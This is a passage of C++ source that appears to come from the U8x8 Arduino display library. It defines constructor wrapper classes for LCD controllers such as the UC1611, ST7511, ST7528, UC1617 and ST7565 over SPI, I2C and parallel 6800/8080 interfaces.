u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1611_IDS4073_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1611_IDS4073_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1611_IDS4073_6800 : public U8X8 {\n  public: U8X8_UC1611_IDS4073_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_IDS4073_8080 : public U8X8 {\n  public: U8X8_UC1611_IDS4073_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_UC1611_IDS4073_SW_I2C : public U8X8 {\n  public: U8X8_UC1611_IDS4073_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1611_IDS4073_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_IDS4073_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1611_IDS4073_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1611_IDS4073_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1611_ids4073, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7511_AVD_320X240_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7511_AVD_320X240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7511_AVD_320X240_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7511_AVD_320X240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7511_AVD_320X240_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7511_AVD_320X240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7511_AVD_320X240_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7511_AVD_320X240_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7511_AVD_320X240_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7511_AVD_320X240_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7511_AVD_320X240_6800 : public U8X8 {\n  public: U8X8_ST7511_AVD_320X240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7511_AVD_320X240_8080 : public U8X8 {\n  public: U8X8_ST7511_AVD_320X240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7511_avd_320x240, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_NHD_C160100_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7528_NHD_C160100_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_NHD_C160100_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7528_NHD_C160100_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_NHD_C160100_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7528_NHD_C160100_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_NHD_C160100_6800 : public U8X8 {\n  public: U8X8_ST7528_NHD_C160100_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_NHD_C160100_8080 : public U8X8 {\n  public: U8X8_ST7528_NHD_C160100_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_NHD_C160100_SW_I2C : public U8X8 {\n  public: U8X8_ST7528_NHD_C160100_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7528_NHD_C160100_HW_I2C : public U8X8 {\n  public: U8X8_ST7528_NHD_C160100_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7528_NHD_C160100_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7528_NHD_C160100_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_nhd_c160100, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7528_ERC16064_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7528_ERC16064_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_ERC16064_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7528_ERC16064_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_ERC16064_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7528_ERC16064_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_ERC16064_6800 : public U8X8 {\n  public: U8X8_ST7528_ERC16064_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_ERC16064_8080 : public U8X8 {\n  public: U8X8_ST7528_ERC16064_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7528_ERC16064_SW_I2C : public U8X8 {\n  public: U8X8_ST7528_ERC16064_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7528_ERC16064_HW_I2C : public U8X8 {\n  public: U8X8_ST7528_ERC16064_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7528_ERC16064_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7528_ERC16064_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7528_erc16064, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_UC1617_JLX128128_4W_SW_SPI : public U8X8 {\n  public: U8X8_UC1617_JLX128128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_UC1617_JLX128128_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1617_JLX128128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1617_JLX128128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_UC1617_JLX128128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_UC1617_JLX128128_3W_SW_SPI : public U8X8 {\n  public: U8X8_UC1617_JLX128128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_UC1617_JLX128128_3W_HW_SPI : public U8X8 {\n  public: U8X8_UC1617_JLX128128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_UC1617_JLX128128_SW_I2C : public U8X8 {\n  public: U8X8_UC1617_JLX128128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_UC1617_JLX128128_HW_I2C : public U8X8 {\n  public: U8X8_UC1617_JLX128128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_UC1617_JLX128128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_UC1617_JLX128128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_uc1617_jlx128128, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM128_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM128_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM128_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM128_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM128_6800 : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_EA_DOGM128_8080 : public U8X8 {\n  public: U8X8_ST7565_EA_DOGM128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_ea_dogm128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6063_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6063_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6063_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6063_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6063_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6063_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6063_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6063_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_LM6063_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_LM6063_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7565_LM6063_6800 : public U8X8 {\n  public: U8X8_ST7565_LM6063_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_LM6063_8080 : public U8X8 {\n  public: U8X8_ST7565_LM6063_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_lm6063, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_64128N_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_64128N_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_64128N_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_64128N_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_64128N_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_64128N_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7565_64128N_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7565_64128N_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7565_64128N_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7565_64128N_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7565_64128n, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  